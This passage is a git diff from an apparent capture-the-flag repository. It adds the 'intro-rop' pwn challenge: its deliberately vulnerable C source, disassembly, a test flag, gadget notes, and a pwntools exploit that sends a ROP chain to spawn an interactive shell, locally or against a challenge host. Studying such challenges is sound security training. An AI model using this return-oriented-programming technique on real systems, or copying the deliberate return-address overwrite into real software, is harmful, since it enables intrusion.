: + 169f: 55 push rbp + 16a0: 48 89 e5 mov rbp,rsp + 16a3: 48 83 ec 10 sub rsp,0x10 + 16a7: 89 7d fc mov DWORD PTR [rbp-0x4],edi + 16aa: 48 89 75 f0 mov QWORD PTR [rbp-0x10],rsi + 16ae: b8 00 00 00 00 mov eax,0x0 + 16b3: e8 61 fb ff ff call 1219 + 16b8: b8 00 00 00 00 mov eax,0x0 + 16bd: e8 28 fe ff ff call 14ea + 16c2: 90 nop + 16c3: c9 leave + 16c4: c3 ret + +Disassembly of section .fini: + +00000000000016c8 <_fini>: + 16c8: 48 83 ec 08 sub rsp,0x8 + 16cc: 48 83 c4 08 add rsp,0x8 + 16d0: c3 ret diff --git a/cscg25/pwn/intro3/exploit.py b/cscg25/pwn/intro3/exploit.py new file mode 100644 index 0000000..c5d67e4 --- /dev/null +++ b/cscg25/pwn/intro3/exploit.py @@ -0,0 +1,53 @@ +from pwn import * + +# Set the context for the binary +context.binary = './intro-rop' # Replace with your binary's name + +# Choose local or remote +LOCAL = True # Change to False if connecting remotely + +if LOCAL: + p = process(context.binary.path) +else: + p = remote("3b45136b24d0eac2fc0ed87f-1024-intro-pwn-3.challenge.cscg.live", 1337, ssl=True)# Define functions for convenience +def send_payload(payload): + p.sendline(payload) + +def recv_until(delim): + return p.recvuntil(delim) + +def interact(): + p.interactive() + + +#0x00000000: pop rax; ret +#0x00000001: add rbx, r9; ret +#0x00000002: mov rcx, qword ptr [rbx]; ret +#0x00000003: mov rax, r8; mov rbx, r9; mov rcx, r10; ret +#0x00000004: xor rcx, rdi; xor rbx, rdi; ret +#0x00000005: push rax; ret +#0x00000006: xor rax, rax; xor rsi, rsi; ret +#0x00000007: sub rax, 0x8; idiv rdi; ret +#0x00000008: add rdi, r8; ret +#0x00000009: nop; ret +#0x0000000a: imul rbx, rax; ret +#0x0000000b: xor r9, r8; xor r8, r9; xor r9, r8; ret +#0x0000000c: mov rcx, rsi; add rcx, r10; ret +#0x0000000d: xor rdi, rcx; xor rsi, rcx; ret +#0x0000000e: pop rbx; push rdi; push rbx; ret +#0x0000000f: pop rbp; pop rsi; ret + + +ropchain = [ + b"3", b"2", b"6", b"13", b"12", b"11", b"1", b"-1" +] + + +print("Send ropchain") +input() + +for gadget in ropchain: + recv_until(b'Enter gadget index: ') + send_payload(gadget) + +interact() # Keep the shell open diff --git a/cscg25/pwn/intro3/flag b/cscg25/pwn/intro3/flag new file mode 100644 index 0000000..435dc67 --- /dev/null +++ b/cscg25/pwn/intro3/flag @@ -0,0 +1 @@ +CSCG{testflag} diff --git a/cscg25/pwn/intro3/intro-rop b/cscg25/pwn/intro3/intro-rop new file mode 100755 index 0000000..6610986 Binary files /dev/null and b/cscg25/pwn/intro3/intro-rop differ diff --git a/cscg25/pwn/intro3/intro-rop.c b/cscg25/pwn/intro3/intro-rop.c new file mode 100644 index 0000000..70e4e2f --- /dev/null +++ b/cscg25/pwn/intro3/intro-rop.c @@ -0,0 +1,253 @@ +#define _GNU_SOURCE + +#include +#include +#include +#include +#include +#include +#include +#include +#include +// intro-rop: gcc intro-rop.c -o intro-rop + +// --------------------------------------------------- SETUP + +void ignore_me_init_buffering() { + setvbuf(stdout, NULL, _IONBF, 0); + setvbuf(stdin, NULL, _IONBF, 0); + setvbuf(stderr, NULL, _IONBF, 0); +} + +typedef struct ropgadget { + unsigned int length; + unsigned char gadget[32]; +} ropgadget_t; + +typedef unsigned long long u64; + +// --------------------------------------------------- ROP GADGETS +void gadget_0(); +void gadget_1(); +void gadget_2(); +void gadget_3(); +void gadget_4(); +void gadget_5(); +void gadget_6(); +void gadget_7(); +void gadget_8(); +void gadget_9(); +void gadget_10(); +void gadget_11(); +void gadget_12(); +void gadget_13(); +void gadget_14(); +void gadget_15(); +__asm(".intel_syntax noprefix \n" + ".global gadget_0 \n" + ".global gadget_1 \n" + ".global gadget_2 \n" + ".global gadget_3 \n" + ".global gadget_4 \n" + ".global gadget_5 \n" + ".global gadget_6 \n" + ".global gadget_7 \n" + ".global gadget_8 \n" + ".global gadget_9 \n" + ".global gadget_10 \n" + ".global gadget_11 \n" + ".global gadget_12 \n" + ".global gadget_13 \n" + ".global gadget_14 \n" + ".global gadget_15 \n" + + "gadget_0: \n" + " pop rax \n" + " ret \n" + + "gadget_1: \n" + " add rbx, r9 \n" + " ret \n" + + "gadget_2: \n" + " mov rcx, qword ptr [rbx] \n" + " ret \n" + + "gadget_3: \n" + " mov rax, r8 \n" + " mov rbx, r9 \n" + " mov rcx, r10 \n" + " ret \n" + + "gadget_4: \n" + " xor rcx, rdi \n" + " xor rbx, rdi \n" + " ret \n" + + "gadget_5: \n" + " push rax \n" + " ret \n" + + "gadget_6: \n" + " xor rax, rax \n" + " xor rsi, rsi \n" + " ret \n" + + "gadget_7: \n" + " sub rax, 0x8 \n" + " idiv rdi \n" + " ret \n" + + "gadget_8: \n" + " add rdi, r8 \n" + " ret \n" + + "gadget_9: \n" + " nop \n" + " ret \n" + + "gadget_10: \n" + " imul rbx, rax \n" + " ret \n" + + "gadget_11: \n" + " xor r9, r8 \n" + " xor r8, r9 \n" + " xor r9, r8 \n" + " ret \n" + + "gadget_12: \n" + " mov rcx, rsi \n" + " add rcx, r10 \n" + " ret \n" + + "gadget_13: \n" + " xor rdi, rcx \n" + " xor rsi, rcx \n" + " ret \n" + + "gadget_14: \n" + " pop rbx \n" + " push rdi \n" + " push rbx \n" + " ret \n" + + "gadget_15: \n" + " pop rbp \n" + " pop rsi \n" + " ret \n" + + ".att_syntax prefix \n"); + +void *gadgets[] = { + gadget_0, gadget_1, gadget_2, gadget_3, gadget_4, gadget_5, + gadget_6, gadget_7, gadget_8, gadget_9, gadget_10, gadget_11, + gadget_12, gadget_13, gadget_14, gadget_15, +}; + +// --------------------------------------------------- HELPER FUNCTIONS + +// get the address of a libc function +u64 get_libc_addr(const char *func) { + void *handle = dlopen("libc.so.6", RTLD_LAZY); + if (!handle) { + fprintf(stderr, "Error opening libc: %s\n", dlerror()); + return 0; + } + + u64 func_addr = (u64)dlsym(handle, func); + if (!func_addr) { + fprintf(stderr, "Error getting symbol address: %s\n", dlerror()); + dlclose(handle); + return 0; + } + + dlclose(handle); + return func_addr; +} + +// libc usually contains a "/bin/sh" string, this function finds it +u64 get_binsh_str() { + void *handle = dlopen("libc.so.6", RTLD_LAZY); + if (!handle) { + fprintf(stderr, "Error opening libc: %s\n", dlerror()); + return 0; + } + + struct link_map *map; + if (dlinfo(handle, RTLD_DI_LINKMAP, &map) != 0) { + fprintf(stderr, "Error getting link map: %s\n", dlerror()); + dlclose(handle); + return 0; + } + dlclose(handle); + return (u64)memmem((void *)map->l_addr, 0x10000000, "/bin/sh\x00", 8); +} + +// get the address of the puts GOT entry +u64 get_puts_got() { + void *dyn = _DYNAMIC; + Dl_info info; + if (dladdr(dyn, &info) == 0) { + fprintf(stderr, "Error getting dynamic address: %s\n", dlerror()); + } + u64 needle = get_libc_addr("puts"); + return (u64)memmem((void *)info.dli_fbase, 0x10000, (void *)&needle, + sizeof(void *)); +} + +// --------------------------------------------------- Challenge + +void print_stuff() { + u64 *new_stack = (u64 *)malloc(1024 * 1024); + + puts("Enter the index of each ROP gadget"); + puts("Finish your ROP chain with the index -1"); + + signed int lastIndex = 0; + int counter = 0; + int maxIndex = sizeof(gadgets) / sizeof(gadgets[0]); + + u64 diff_puts_Binsh = get_binsh_str() - get_libc_addr("puts"); + u64 diff_puts_System = get_libc_addr("system") - get_libc_addr("puts"); + u64 puts_got = get_puts_got(); + + while (lastIndex != -1) { + printf("\n> Enter gadget index: "); + scanf("%d", &lastIndex); + + if (lastIndex >= maxIndex || (lastIndex < 0 && lastIndex != -1)) { + printf("Invalid index, bye!\n"); + exit(-1); + } + + new_stack[counter++] = (u64)gadgets[lastIndex]; + } + + printf("Lets goooo ! :)\n"); + u64 rbp = 0; // Get stack address of return pointer to overwrite it + __asm("mov %%rbp, %0\n" : "=r"(rbp)); + rbp += 8; // Adjust for return address + + memcpy((void *)rbp, (void *)new_stack, counter * 8); + + __asm(".intel_syntax noprefix\n" + "mov rsp, %0\n" + "mov r8, %1\n" + "mov r9, %2\n" + "mov r10, %3\n" + "leave\n" + "ret\n" + ".att_syntax prefix\n" + : + : "r"(new_stack), "r"(diff_puts_System), "r"(puts_got), + "r"(diff_puts_Binsh)); +} + +// --------------------------------------------------- MAIN + +void main(int argc, char *argv[]) { + ignore_me_init_buffering(); + + print_stuff(); +} diff --git a/cscg25/pwn/intro3/notes.md b/cscg25/pwn/intro3/notes.md new file mode 100644 index 0000000..c7e9c8d --- /dev/null +++ b/cscg25/pwn/intro3/notes.md @@ -0,0 +1,11 @@ +r8 = system_puts_diff +r9 = puts_got +r10 = binsh_puts_diff + +3 -> rax = r8, rbx = r9, rcx = r10 +2 -> rcx = puts +6 -> rax = 0, rsi = 0 +13 -> rdi = trash, rsi = puts +12 -> rcx = binsh +11 -> r8 = r9, r9 = r8 +1 -> rbx = system